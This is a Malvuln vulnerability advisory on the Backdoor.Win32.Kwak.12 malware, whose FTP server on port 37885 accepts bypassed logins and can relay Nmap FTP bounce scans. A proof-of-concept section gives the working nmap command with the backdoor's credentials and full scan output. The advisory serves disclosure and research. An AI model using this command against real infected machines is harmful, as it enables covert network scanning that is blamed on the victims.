Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_D.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Kwak.12 Vulnerability: Port Bounce Scan Description: The backdoor runs an FTP server that listens on TCP port 37885. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147. Type: PE32 MD5: c25393545e5ead3a35996ef9a887bd34 Vuln ID: MVID-2021-0148 Dropped files: Disclosure: 03/25/2021 Exploit/PoC: Scanning ports 23,79,80 using Nmaps port bounce feature. nmap -n -Pn -b pbarbar:pbarbar@192.168.88.128:37885 192.168.88.129 -p23,79,80 -v Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-25 18:47 Pacific Daylight Time Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128). Attempting connection to ftp://pbarbar:pbarbar@192.168.88.128:37885 Connected:220 Enter Login Computer Name: DESKTOP-2X3IHHP Local IP: 192.168.88.128 User On This Computer: victim Drive C: 14.97 Gb Free Login credentials accepted by FTP server! Initiating Bounce Scan at 18:47 Discovered open port 80/tcp on 192.168.88.129 Completed Bounce Scan at 18:47, 2.10s elapsed (3 total ports) Nmap scan report for 192.168.88.129 Host is up. PORT STATE SERVICE 23/tcp closed telnet 79/tcp closed finger 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).